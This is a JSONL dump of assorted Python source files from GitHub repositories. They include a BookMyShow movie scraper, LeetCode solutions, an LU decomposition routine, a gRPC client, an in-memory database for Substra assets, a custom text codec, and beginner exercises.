\"html.parser\")\n movies_list = soup.find_all(\"a\", {\"class\": \"commonStyles__LinkWrapper-sc-133848s-11\"})\n for movies in movies_list:\n link = movies[\"href\"].split(\"/\")\n if len(link) > 1:\n res[link[-2]] = link[-1]\n if link[-2] == mov_name_formatted:\n return link[-1]\n return -1\n\n\ndef get_movie_code(base_url, location, mov_name_formatted):\n res = {}\n print(\"Getting movie code...\")\n url = base_url + f\"/explore/upcoming-movies-{location}?referrerBase=movies\"\n movie_code = find_code(url, res, mov_name_formatted)\n if movie_code != -1:\n return movie_code\n \n url = base_url + f\"/explore/movies-{location}\"\n movie_code = find_code(url, res, mov_name_formatted)\n # print(res)\n if movie_code != -1:\n return movie_code\n \n print(\"Movie code not found! Getting closest matches....\")\n matches = difflib.get_close_matches(mov_name_formatted, res.keys(), cutoff=0.8)\n if len(matches) > 0:\n print(\"Closet matches:\")\n for cnt, item in enumerate(matches):\n print(f\"{cnt} | {item} | {res[item]}\")\n \n ans = input(\"Enter index number of the closest match if the right movie is found(Y/N):\").lower()\n if ans == \"y\":\n idx = int(input(\"Enter the index: \"))\n return res[matches[idx]]\n elif ans == \"n\": \n # Example ET00315808\n while True:\n code = input(\"Enter the code of the movie manually(ET00XXXXXX): \").rstrip().lstrip()\n if bool(re.match(r\"ET00[0-9]{6}\", code)):\n return code\n print(\"Not valid code\")\n\n \n\ndef get_details():\n movie_name = input(\"Enter Movie Name\\n- Only Spaces no Special Characters\\n\")\n location = input(\"Enter City\\n- Enter Popular cities that appear on bookmyshow\\\n \\n- Enter full forms, example: National Captial Region instead of NCR\\n\")\n date = input(\"Enter date when movie is going to be released\\n- Enter a future date\\n- Format: DD/MM/YYYY strictly\\n\") # DD/MM/YYYY\n cinema_type = input(\"Enter theater type\\n- Example: INOX, Cinepolis, Carnival, Gold, etc\\n\")\n \n return [movie_name, location, date, cinema_type]\n # date_formatted = \"\".join(date.split(\"/\")[::-1])\n # mov_name_formatted = \"-\".join(movie_name.lower().split())\n # movie_code = get_movie_code(base_url, location, mov_name_formatted)\n\n\nif __name__ == \"__main__\":\n details = get_details()\n movie_name = details[0]\n location = details[1]\n date = details[2]\n cinema_type = details[3]\n # movie_name = \"Spider man No way Home\"\n # location = \"mumbai\"\n # date = \"16/12/2021\"\n # cinema_type = \"carnival\"\n\n if location.lower() == \"national capital region\":\n location = \"-\".join(location.lower().split()) + \"-ncr\"\n main(movie_name, location, date, cinema_type)\n\n\n","repo_name":"RevTpark/bms_scrapper","sub_path":"BookMyShow_Scrapping.py","file_name":"BookMyShow_Scrapping.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18985217511","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def __init__(self, head):\n \"\"\"\n @param head The linked list's head.\n Note that the head is guaranteed to be not null, so it contains at least one node.\n :type head: ListNode\n \"\"\"\n self.head = head\n self.length = self.get_length()\n\n def get_length(self):\n length, head = 0, self.head\n while head:\n length += 1\n head = head.next\n return length\n\n def getRandom(self):\n \"\"\"\n Returns a random node's value.\n :rtype: int\n \"\"\"\n import random\n num = random.choice(range(0, self.length))\n head = self.head\n while num:\n head = head.next\n num -= 1\n return head.val\n\n# Your Solution object will be instantiated and called as such:\n# obj = Solution(head)\n# param_1 = obj.getRandom()\n# -*- coding: utf-8 -*-\n","repo_name":"JushuangQiao/Python-LeetCode","sub_path":"400/382.py","file_name":"382.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"72"}
+{"seq_id":"11626531519","text":"class Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n \n res = []\n nums.sort()\n for i in range(len(nums)-2):\n if(i > 0 and nums[i] == nums[i-1]):\n continue\n currA = nums[i]\n left = i+1\n right = len(nums)-1\n while(left < right):\n if((currA + nums[left] + nums[right]) == 0):\n res.append([currA,nums[left],nums[right]])\n while left < right and nums[left] == nums[left+1]:\n left += 1\n while left < right and nums[right] == nums[right-1]:\n right -= 1\n left+=1\n right-=1\n elif((currA + nums[left] + nums[right]) < 0):\n left+=1\n else:\n right-=1\n return res","repo_name":"Rahul-shakya/LeetCode-Questions","sub_path":"3Sum.py","file_name":"3Sum.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"3229551254","text":"# -*- coding: utf-8 -*-\r\n\r\n__author__ = 'liupeiyu'\r\n\r\n\r\nfrom core.jsonresponse import create_response\r\n\r\nfrom apps.module_api import get_app_link_url\r\n\r\n\r\ndef __get_stydy_plan_link_targets(request):\r\n\tpages = []\r\n\r\n\tpages.append(\r\n\t\t{\r\n\t\t\t'text': '课程列表',\r\n\t\t\t'value': get_app_link_url(request, 'shihuazhiye', 'mall', 'products', 'list')\r\n\t\t}\r\n\t)\r\n\t\r\n\r\n\treturn {\r\n\t\t'name': u'课程列表',\r\n\t\t'data': pages\r\n\t}\r\n\r\n\r\n########################################################################\r\n# get_link_targets: 获取可链接的目标\r\n########################################################################\r\ndef get_link_targets(request):\r\n\tret_link_targets = []\r\n\t\r\n\t#学习计划的链接\r\n\tret_link_targets.append(__get_stydy_plan_link_targets(request))\t\r\n\r\n\tresponse = create_response(200)\r\n\tresponse.data = ret_link_targets\r\n\treturn response.get_response()\r\n\r\n\r\n########################################################################\r\n# get_webapp_usage_link: 获得webapp使用情况的链接\r\n########################################################################\r\ndef get_webapp_usage_link(webapp_owner_id, member):\r\n\tworkspace_template_info = 'workspace_id=apps:shihuazhiye:mall&webapp_owner_id=%d&project_id=0' % webapp_owner_id\r\n\r\n\treturn {\r\n\t\t'name': u'我的课程',\r\n\t\t'link': './?module=apps:shihuazhiye:mall&model=order_list&action=get&type=0&%s' % workspace_template_info\r\n\t}\r\n","repo_name":"chengdg/weizoom","sub_path":"weapp/apps/customerized_apps/shihuazhiye/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"41456845449","text":"#\n# @lc app=leetcode id=1030 lang=python3\n#\n# [1030] Matrix Cells in Distance Order\n#\n\n# @lc code=start\nclass Solution:\n def allCellsDistOrder(self, R: int, C: int, r0: int, c0: int) -> List[List[int]]:\n\n coords = []\n\n for i in range(R):\n for j in range(C):\n\n coords.append([i, j])\n\n coords.sort(key=lambda x: abs(x[0]-r0)+abs(x[1]-c0))\n\n return coords\n\n\n# @lc code=end\n","repo_name":"HOZH/leetCode","sub_path":"leetCodePython2020/1030.matrix-cells-in-distance-order.py","file_name":"1030.matrix-cells-in-distance-order.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"28019144125","text":"\"\"\"\r\nチャネル入れ替え\r\nRGB→BGR\r\n\"\"\"\r\nimport cv2\r\n\r\nimg_original = cv2.imread(\"sample.jpg\")\r\nimg = img_original.copy()\r\n\r\nimg[:,:] = img[:,:, (2, 1, 0)]\r\n\r\ncv2.imwrite(\"q1.jpg\", img)\r\ncv2.imshow(\"ringo\", img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"tomotakaeru/OpenCV_knock100","sub_path":"q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"19417500595","text":"import grpc\nfrom google.protobuf import any_pb2\n\nfrom profanedb.protobuf import db_pb2, db_pb2_grpc, storage_pb2\n\nimport test_pb2\n\ndef run():\n channel = grpc.insecure_channel('localhost:50051')\n stub = db_pb2_grpc.DbStub(channel)\n\n to_serialize = test_pb2.KeyInt(\n int_key = 12312\n )\n\n serializable = any_pb2.Any()\n serializable.Pack(to_serialize)\n\n stub.Put(db_pb2.PutReq(\n serializable = serializable\n ))\n\n key = storage_pb2.Key(\n message_type = \"schema.KeyInt\",\n field = \"int_key\",\n value = b\"12312\"\n )\n\n retrieved = stub.Get(db_pb2.GetReq(\n key = key\n ))\n\n retrieved_unpacked = test_pb2.KeyInt()\n\n retrieved.message.Unpack(retrieved_unpacked)\n\n print(retrieved_unpacked)\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"profanedb/ProfaneDB","sub_path":"grpc_test/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"72"}
+{"seq_id":"17016498056","text":"from pylab import *\nfrom scipy.linalg import lu\n\ndef tridiagonal_to_lu(A, unitdiagonal='L'):\n assert unitdiagonal in ['L','U']\n\n n = A.shape[0]\n mask = ones((n,n))\n for i in range(n):\n mask[i,i] = 0\n if i>0: \n mask[i,i-1] = 0\n if i < n-1:\n mask[i,i+1] = 0\n\n assert any(mask*A)==False\n\n L = zeros(A.shape)\n U = zeros(A.shape)\n\n if unitdiagonal == 'U':\n # unit diagonal U\n for i in range(n):\n U[i,i] = 1\n \n L[0,0] = A[0,0]\n for i in range(1,n):\n L[i,i-1] = A[i,i-1]\n U[i-1,i] = A[i-1,i]/L[i-1,i-1]\n L[i,i] = A[i,i] - L[i,i-1] * U[i-1,i]\n\n else:\n # unit diagonal L\n for i in range(n):\n L[i,i] = 1\n \n U[0,0] = A[0,0]\n for i in range(1,n):\n U[i-1,i] = A[i-1,i]\n L[i,i-1] = A[i,i-1]/U[i-1,i-1]\n U[i,i] = A[i,i] - L[i,i-1] * U[i-1,i]\n\n return L,U\n\n\ndef test(A):\n print(\"our algo - U unit diagonal:\")\n l,u = tridiagonal_to_lu(A, unitdiagonal='U')\n print(l)\n print()\n print(u);print()\n print(l@u)\n print()\n \n \n print(\"our algo - L unit diagonal:\")\n l,u = tridiagonal_to_lu(A, unitdiagonal='L')\n print(l)\n print()\n print(u)\n print()\n print(l@u)\n \n print(\"scipy.linalg.lu:\")\n p, l, u = lu(A, permute_l=False)\n print(l)\n print()\n print(u)\n print()\n print(p@l@u)\n\nif __name__ == \"__main__\":\n A = array([\n [1, 2, 0, 0],\n [2, 1, 2, 0],\n [0, 2, 1, 2],\n [0, 0, 2, 1]\n ])\n\n\n test(A)\n \n","repo_name":"sampadbm/sampadbm.github.io","sub_path":"notes/math501-summer-2023/hw4/8.1-q1.py","file_name":"8.1-q1.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39440760392","text":"#!/usr/bin/python3\n\nimport os\nimport sys\n\n# For last 2 test cases, To avoid\n# RecursionError: maximum recursion depth exceeded\nsys.setrecursionlimit(15000)\n\n\nclass Node:\n def __init__(self, info):\n self.info = info\n self.left = None\n self.right = None\n\n def __str__(self):\n return str(self.info)\n\n\ndef createBinaryTree(indexes):\n # create Binary Tree from indexes list\n # initialize all nodes with values 1 to n\n nodes = list()\n for i in range(len(indexes)):\n # indices start from 0\n nodes.append(Node(i+1))\n\n # prepare binary tree\n for index in range(len(indexes)):\n left = indexes[index][0]\n right = indexes[index][1]\n # take values from already initialized nodes\n nodes[index].left = None if left == -1 else nodes[left-1]\n nodes[index].right = None if right == -1 else nodes[right-1]\n\n # return root\n return nodes[0]\n\n\ndef inOrder(root, result):\n # Write your code here\n if not root:\n return result\n inOrder(root.left, result)\n # print(root.info, end=' ') # python3\n result.append(root.info)\n inOrder(root.right, result)\n return (result)\n\n\ndef swapEveryKLevel(root, level, k):\n if root is None or (root.left is None and\n root.right is None):\n return\n\n if ((level) % k == 0):\n root.left, root.right = root.right, root.left\n\n swapEveryKLevel(root.left, level+1, k)\n swapEveryKLevel(root.right, level+1, k)\n\n\ndef swapNodes(indexes, queries):\n # create Binary Tree\n root = createBinaryTree(indexes)\n finalResult = list()\n for k in queries:\n result = list()\n # import pdb; pdb.set_trace()\n swapEveryKLevel(root, 1, k)\n # print inorder\n finalResult.append(inOrder(root, result))\n return (finalResult)\n\n\nif __name__ == '__main__':\n n = int(input())\n\n indexes = []\n\n for _ in range(n):\n indexes.append(list(map(int, input().rstrip().split())))\n\n queries_count = int(input())\n\n queries = []\n\n for _ in range(queries_count):\n queries_item = int(input())\n queries.append(queries_item)\n\n result = swapNodes(indexes, queries)\n print(result)\n","repo_name":"hrishikeshtak/Coding_Practises_Solutions","sub_path":"hackerrank/Data-Structures/Trees/10-tree-swap-nodes-algo.py","file_name":"10-tree-swap-nodes-algo.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"29205619828","text":"from tkinter import*\r\nroot=Tk()\r\nroot.geometry(\"500x500\")\r\nroot.config(bg=\"lightblue\")\r\n\r\nbutton_1=Button(root,text=\"calcular cosas\")\r\nbutton_1.place(relx=0.5,rely=0.5,anchor=CENTER)\r\n\r\nclass clase(self):\r\n def a(self,mango,pago):\r\n self.b=mango\r\n self.pago=int(pago)\r\n self.var1 = 200\r\n \r\n def b(self):\r\n var2=self.pago*self.var1\r\n print(var2)\r\n \r\n\r\nroot.mainloop()","repo_name":"MathiuBYJUS/clase-177","sub_path":"clase177.py","file_name":"clase177.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8240012596","text":"import re\n\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.db.models import Count\nfrom django.utils.translation import gettext_lazy as _\n\nfrom account.models import Organization, User\nfrom common.models import BaseModel\n\n\ndef validate_registration_plate(val):\n if not re.match(\"^[0-9]{2}[0-9]{3}[A-Z]{3}$\", val):\n raise ValidationError(\n \"Давлат рақамин нотоғри кирилтилди (Намуна: 01123ААА)\"\n )\n\n\nOUT = _(\"Ташқарида\")\nIN = _(\"Айвонда\")\n\nSTORAGE_CHOICES = (\n (OUT, _(\"Ташқарида\")),\n (IN, _(\"Айвонда\")),\n)\n\nGOOD = _(\"Соз\")\nBAD = _(\"Носоз\")\n\nTECH_STATE_CHOICES = ((GOOD, _(\"Соз\")), (BAD, _(\"Носоз\")))\n\nINSTALLED = _(\"Ўрнатилган\")\nNOT_INSTALLED = _(\"Ўрнатилмаган\")\n\nINSTALLED_GPS_STATUS = (\n (INSTALLED, _(\"Ўрнатилган\")),\n (NOT_INSTALLED, _(\"Ўрнатилмаган\")),\n)\n\n\nclass VehicleManager(models.Manager):\n def get_vehicle_with_regions(self, user):\n return (\n self.get_queryset()\n .filter(organization=user.organization)\n .order_by(\"-created_at\")\n )\n\n def get_vehicle_by_organization(self, organization):\n return (\n self.get_queryset()\n .all()\n .filter(organization=organization)\n # .order_by(\"-created_at\")\n )\n\n def get_count_by_organization(self):\n return (\n self.get_queryset()\n .values(\"organization__name\", \"organization__id\")\n .annotate(sum=Count(\"id\"))\n .exclude(\n organization__name__in=[\"Admin\", \"УП Ўзйулкукаламзорлаштири��\"]\n )\n .order_by(\"organization__id\")\n )\n\n def get_count_by_type_organization(self):\n return (\n self.get_queryset()\n .values(\"type__name\")\n .annotate(sum=Count(\"id\"))\n .values(\"organization\", \"sum\", \"type__name\")\n .order_by(\"type__name\")\n )\n\n\nclass VehicleTypes(BaseModel):\n name = models.CharField(max_length=255)\n added_by = models.ForeignKey(User, on_delete=models.PROTECT)\n\n def __str__(self):\n return self.name\n\n\nclass Vehicle(BaseModel):\n objects = VehicleManager()\n type = models.ForeignKey(\n VehicleTypes, on_delete=models.PROTECT, blank=True, null=True\n )\n name = models.CharField(max_length=255, blank=False, null=False)\n manufactured_date = models.DateField(blank=False, null=False)\n registration_plate = models.CharField(\n max_length=10,\n # validators=[validate_registration_plate],\n blank=True,\n null=True,\n unique=True,\n )\n GPS_status = models.CharField(\n choices=INSTALLED_GPS_STATUS,\n max_length=12,\n blank=False,\n null=False,\n default=NOT_INSTALLED,\n )\n storage_site = models.CharField(\n choices=STORAGE_CHOICES,\n max_length=15,\n blank=False,\n null=False,\n default=OUT,\n )\n tech_state = models.CharField(\n choices=TECH_STATE_CHOICES,\n max_length=5,\n default=GOOD,\n blank=True,\n null=True,\n )\n balance_value = models.FloatField(null=True, blank=True)\n aging_value = models.FloatField(null=True, blank=True)\n mileage_value_start_year = models.FloatField(null=True, blank=True)\n mileage_value_report_time = models.FloatField(null=True, blank=True)\n inventory = models.CharField(max_length=255, null=True, blank=True)\n added_by = models.ForeignKey(User, on_delete=models.CASCADE)\n organization = models.ForeignKey(Organization, on_delete=models.CASCADE)\n\n def __str__(self):\n return f\"{self.registration_plate}\"\n","repo_name":"incognito6479/kokalamzorlashtirish","sub_path":"src/vehicles/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"1428330039","text":"import collections\nimport logging\nimport typing\n\nfrom substra.sdk import exceptions\nfrom substra.sdk import models\n\nlogger = logging.getLogger(__name__)\n\n\nclass InMemoryDb:\n \"\"\"In memory data db.\"\"\"\n\n def __init__(self):\n # assets stored per type and per key\n self._data = collections.defaultdict(dict)\n\n def add(self, asset):\n \"\"\"Add an asset.\"\"\"\n type_ = asset.__class__.type_\n key = getattr(asset, \"key\", None)\n if not key:\n key = asset.id\n if key in self._data[type_]:\n raise exceptions.KeyAlreadyExistsError(f\"The asset key {key} of type {type_} has already been used.\")\n self._data[type_][key] = asset\n logger.info(f\"{type_} with key '{key}' has been created.\")\n\n return asset\n\n def get(self, type_, key: str):\n \"\"\"Return asset.\"\"\"\n try:\n return self._data[type_][key]\n except KeyError:\n raise exceptions.NotFound(f\"Wrong pk {key}\", 404)\n\n def _match_asset(self, asset: models._Model, attribute: str, values: typing.Union[typing.Dict, typing.List]):\n \"\"\"Checks if an asset attributes matches the given values.\n For the metadata, it checks that all the given filters returns True (AND condition)\"\"\"\n if attribute == \"metadata\":\n metadata_conditions = []\n for value in values:\n if value[\"type\"] == models.MetadataFilterType.exists:\n metadata_conditions.append(value[\"key\"] in asset.metadata.keys())\n\n elif asset.metadata.get(value[\"key\"]) is None:\n # for is_equal and contains, if the key is not there then return False\n metadata_conditions.append(False)\n\n elif value[\"type\"] == models.MetadataFilterType.is_equal:\n metadata_conditions.append(str(value[\"value\"]) == str(asset.metadata[value[\"key\"]]))\n\n elif value[\"type\"] == models.MetadataFilterType.contains:\n metadata_conditions.append(str(value[\"value\"]) in str(asset.metadata.get(value[\"key\"])))\n else:\n raise NotImplementedError\n\n return all(metadata_conditions)\n\n return str(getattr(asset, attribute)) in values\n\n def _filter_assets(\n self, db_assets: typing.List[models._Model], filters: typing.Dict[str, typing.List[str]]\n ) -> typing.List[models._Model]:\n \"\"\"Return assets matching al the given filters\"\"\"\n\n matching_assets = [\n asset\n for asset in db_assets\n if all(self._match_asset(asset, attribute, values) for attribute, values in filters.items())\n ]\n return matching_assets\n\n def list(\n self, type_: str, filters: typing.Dict[str, typing.List[str]], order_by: str = None, ascending: bool = False\n ):\n \"\"\"List assets by filters.\n\n Args:\n asset_type (str): asset type. e.g. \"function\"\n filters (dict, optional): keys = attributes, values = list of values for this attribute.\n e.g. {\"name\": [\"name1\", \"name2\"]}. \",\" corresponds to an \"OR\". Defaults to None.\n order_by (str, optional): attribute name to order the results on. Defaults to None.\n e.g. \"name\" for an ordering on name.\n ascending (bool, optional): to reverse ordering. Defaults to False (descending order).\n\n Returns:\n List[Dict] : a List of assets (dicts)\n \"\"\"\n # get all assets of this type\n assets = list(self._data[type_].values())\n\n if filters:\n assets = self._filter_assets(assets, filters)\n if order_by:\n assets.sort(key=lambda x: getattr(x, order_by), reverse=(not ascending))\n\n return assets\n\n def update(self, asset):\n type_ = asset.__class__.type_\n key = asset.key\n\n if key not in self._data[type_]:\n raise exceptions.NotFound(f\"Wrong pk {key}\", 404)\n\n self._data[type_][key] = asset\n return\n\n\ndb = InMemoryDb()\n\n\ndef get_db():\n return db\n","repo_name":"Substra/substra","sub_path":"substra/sdk/backends/local/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"72"}
+{"seq_id":"41572039222","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfileName = \"output_nt_2_deposited_energy.csv\"\n\naccuracy = 0.01\n\ndata = pd.read_csv(fileName, names=[\"E_kev\", \"l_um\", \"Z\", \"d_mm\", \"ID\"], comment=\"#\")\n\nsumE = data.groupby(['d_mm'])[\"E_kev\"].sum()\n\nE = sumE.to_numpy()\n\nE = E / np.amax(E)\n\nd = np.arange(len(E)) * accuracy\n\nplt.plot(d, E)\n\nplt.show()\n\nnp.savetxt(\"out.csv\", np.c_[d,E])\n","repo_name":"Jacopo-Surrey/waterPhantom","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16396953399","text":"\"\"\"\nA codec suitable for decoding bytes which come from the internet with ill-defined encoding.\nWe first try to decode with utf8, then fall back to latin1 (latin1html5, really)\n\"\"\"\nimport codecs\nimport encodings.cp1252\nfrom typing import cast\nfrom typing import Tuple\n\nfrom typing_extensions import Protocol\n\n# -- Codec APIs --\n\nencode = codecs.utf_8_encode\n\n\ndef internet_decode(\n input: bytes, errors: str = \"strict\", final: bool = False\n) -> Tuple[str, int]:\n \"\"\"The core decoding function\"\"\"\n try:\n # First try utf-8. This should be the usual case by far.\n return codecs.utf_8_decode(input, errors, final)\n except UnicodeDecodeError:\n try:\n # If that fails, try windows-1252 (aka cp1252), which defines more characters than latin1,\n # but will fail for five particular bytes: 0x81, 0x8D, 0x8F, 0x90, 0x9D\n return codecs.charmap_decode(input, errors, encodings.cp1252.decoding_table)\n except UnicodeDecodeError:\n # and finally, try latin-1, which never fails, but defines 27 less characters than cp1252.\n return codecs.latin_1_decode(input, errors)\n\n\ndef decode(input: bytes, errors: str = \"strict\") -> Tuple[str, int]:\n return internet_decode(input, errors, True)\n\n\nclass IncrementalEncoder(codecs.IncrementalEncoder):\n def encode(self, input: str, final: bool = False) -> bytes:\n return codecs.utf_8_encode(input, self.errors)[0]\n\n\nclass IncrementalDecoder(codecs.BufferedIncrementalDecoder):\n def _buffer_decode(\n self, input: bytes, errors: str = \"strict\", final: bool = False\n ) -> Tuple[str, int]:\n return internet_decode(input, errors, final)\n\n\nclass StreamWriter(codecs.StreamWriter):\n def encode(self, input: str, errors: str = \"strict\") -> Tuple[bytes, int]:\n return codecs.utf_8_encode(input, errors)\n\n\nclass StreamReader(codecs.StreamReader):\n def decode(self, input: bytes, errors: str = \"strict\") -> Tuple[str, int]:\n return internet_decode(input, errors)\n\n\n# -- codecs API --\n\n# From typeshed.stdlibs.codecs\nclass _Encoder(Protocol):\n def __call__(\n self, input: str, errors: str = ...\n ) -> Tuple[bytes, int]: # pragma: no cover\n ... # signature of Codec().encode\n\n\ncodec_map = {\n \"internet\": codecs.CodecInfo(\n name=\"internet\",\n encode=cast(_Encoder, encode),\n decode=decode,\n incrementalencoder=IncrementalEncoder,\n incrementaldecoder=IncrementalDecoder,\n streamreader=StreamReader,\n streamwriter=StreamWriter,\n )\n}\n\n\ndef register() -> None:\n \"\"\"perform the codec registration.\"\"\"\n codecs.register(codec_map.get)\n","repo_name":"Yelp/yelp_encodings","sub_path":"yelp_encodings/internet.py","file_name":"internet.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"}
+{"seq_id":"33780951880","text":"import sys\n\nfrom setuptools import setup, find_packages\n\ntry:\n from pip.req import parse_requirements\nexcept ImportError:\n from pip._internal.req import parse_requirements\n\nif sys.version_info[0] < 3:\n sys.exit('Sorry, onlt Python 3 is supported')\n\n\ninstall_reqs = parse_requirements('requirements.pip', session=False)\n\nreqs = [str(ir.req) for ir in install_reqs]\n\nsetup(\n name='md2jupyter',\n version='0.1',\n python_requires=\">=3.3\",\n packages=find_packages(),\n include_package_data=True,\n install_requires=reqs,\n entry_points='''\n [console_scripts]\n md2jupyter=md2jupyter.converter:convert\n ''',\n)\n","repo_name":"fogstream/md2jupyter","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"22127890886","text":"#---------------importing modules---------\nimport time\nimport sqlite3\nimport os\nimport admin_st\nimport school\nimport userportal\n\n#------------connection--------------\ncon=sqlite3.connect(\"SAMPLE.db\")\ncur=con.cursor()\n\n#-----------------------functions-------------\ndef startsession(u):\n #flag=0\n cur.execute(\"Select * from Admin where ADM_ID=?\",(u,))\n if cur.fetchall()!=[]:\n school.sys()\n admin_st.admin(u)\n else:\n cur.execute(\"Select * from Teacher where THR_ID=?\",(u,))\n if cur.fetchall()!=[]:\n school.sys()\n userportal.teacher(u)\n else:\n cur.execute(\"Select * from Student where STUD_ID=?\",(u,))\n if cur.fetchall()!=[]:\n school.sys()\n userportal.student(u)\n else:\n print(\"\\nInvalid User Id\")\n\ndef endsession(a,f):\n pass\n","repo_name":"SHERLOCKx90/Python-Programming","sub_path":"login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7847487794","text":"# 9.10/9.11\nfrom restaurant import Restaurant\nfrom user import User\nfrom admin import Admin\nfrom random import randint, choice\n\n# 9.1\nprint('\\n9.1\\n')\n\nrestaurant = Restaurant('Bzik', 'Regional')\nprint(restaurant.restaurant_name)\nprint(restaurant.cuisine_type)\n\nrestaurant.describe_restaurant()\nrestaurant.open_restaurant()\n\n# 9.2\nprint('\\n9.2\\n')\n\nrestaurant_2 = Restaurant('Pod wiezami', 'Dinners')\nrestaurant_3 = Restaurant('Hurry Carry', 'Indian')\n\nrestaurant_2.describe_restaurant()\nrestaurant_3.describe_restaurant()\n\n# 9.3\nprint('\\n9.3\\n')\n\nuser1 = User('f_user1', 'f_user1', 'admin', True, 'admin@admin.xx')\nuser2 = User('f_user2', 'f_user2', 'manager', False, 'manager@manager.xx')\n\nuser1.describe_user()\nuser1.greet_user()\n\nuser2.describe_user()\nuser2.greet_user()\n\n# 9.4\nprint('\\n9.4\\n')\nprint(restaurant.number_served)\nrestaurant.number_served = 10\nprint(restaurant.number_served)\n\nrestaurant_2.set_number_served(20)\nprint(restaurant_2.number_served)\n\nrestaurant_3.increment_number_served(30)\nprint(restaurant_3.number_served)\n\n# 9.5\nprint('\\n9.5\\n')\nnew_user = User('user3', 'user3', 'user', False, 'noemail@xx')\nnew_user.increment_login_attempts()\nnew_user.increment_login_attempts()\nnew_user.increment_login_attempts()\nprint(new_user.login_attempts)\nnew_user.reset_login_attempts()\nprint(new_user.login_attempts)\n\n# 9.6\nprint('\\n9.6\\n')\n\n\nclass IceCreamStand(Restaurant):\n def __init__(self, restaurant_name, cuisine_type, flavours):\n self.flavours = flavours\n super().__init__(restaurant_name, cuisine_type)\n\n def show_flavours(self):\n for flavour in self.flavours:\n print(flavour)\n\n\nice_cream_stand = IceCreamStand('Grycan', 'Italian ice creams', ['chocolate', 'vanilla'])\nice_cream_stand.show_flavours()\n\n# 9.7\nprint('\\n9.7\\n')\n\n\n# 9.8\nprint('\\n9.8\\n')\n\nadmin_1 = Admin('super', 'user', 'admin', True, 'admin@xx.com')\nadmin_1.privileges.show_privileges()\n\n\n# 9.13\nprint('\\n9.13\\n')\n\n\nclass Die:\n def __init__(self, sides):\n self.sides = sides\n\n def roll_die(self):\n print(randint(1, self.sides))\n\n\ndie_1 = Die(6)\n\nfor x in range(0, 10):\n die_1.roll_die()\n\ndie_2 = Die(10)\nfor x in range(0, 10):\n die_1.roll_die()\n\ndie_3 = Die(20)\nfor x in range(0, 10):\n die_1.roll_die()\n\n# 9.14\nprint('\\n9.14\\n')\n\n\ndef lottery():\n elements = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E']\n return [choice(elements) for x in range(0, 4)]\n\n\nprint('The coupon code which won:')\nprint(lottery())\n# 9.15\nprint('\\n9.15\\n')\nmy_ticket = ['A', 7, 5, 'C']\n\n# check comparison of lists\nprint(['A', 1] == ['A', 1]) # True\n\nlottery_inc = 0\nwhile True:\n lottery_inc += 1\n result = lottery()\n if my_ticket == result:\n print(lottery_inc, my_ticket, result)\n break\n\n# 9.16\nprint('\\n9.16\\n')\n# Python module of week https://pymotw.com/3/ -> great knowledge about Python standard library\n","repo_name":"MarcinGladkowski/python","sub_path":"python_crash_course/essentials/ex_9.py","file_name":"ex_9.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
